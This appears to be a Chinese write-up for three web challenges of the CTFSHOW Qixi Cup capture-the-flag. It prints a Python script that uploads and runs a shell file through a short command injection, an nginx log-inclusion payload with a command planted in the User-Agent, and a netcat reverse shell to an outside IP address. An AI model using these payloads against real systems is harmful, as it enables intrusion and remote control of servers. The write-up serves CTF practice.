目录

web签到 

easy_calc

easy_cmd


web签到 

【Web】CTFSHOW 七夕杯 题解-LMLPHP

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客7长度限制直接梭了

也可以打临时文件RCE

import requests

url = "http://4ae13f1e-8e42-4afa-a6a6-1076acd08211.challenge.ctf.show/"

def getFlag():
  file={
  "file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"
  }

  data={
    "cmd":". /t*/*"
  }
  response = requests.post(url=url+"api/tools.php",files=file,data=data)
  if "t*" in response.text:
    print("执行成功,检查回显...")
  response = requests.get(url=url+"1.txt")
  if response.status_code == 200:
    print("flag 获取成功 "+response.text)
  else:
    print("flag 获取失败")

if __name__ == '__main__':
  getFlag()

easy_calc

【Web】CTFSHOW 七夕杯 题解-LMLPHP

一眼命令拼接,先fuzz一下可以用的字符

<?php
for ($i=32;$i<127;$i++){
    if (!preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/",chr($i))){
        echo chr($i)." ";
    }
}
//  " ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z \ ] a b c d e f g h i j k l m n o p q r s t u v w x y z } 

过滤了括号,不难想到用include

直接nginx日志包含

payload:

num1=1&symbol=-&num2=1;include "/var/log/nginx/access.log"

UA写入命令执行

【Web】CTFSHOW 七夕杯 题解-LMLPHP 

 

easy_cmd

【Web】CTFSHOW 七夕杯 题解-LMLPHP

直接nc反弹shell

payload:

cmd=nc 124.222.136.33 1337 -e /bin/sh

【Web】CTFSHOW 七夕杯 题解-LMLPHP 

05-11 15:19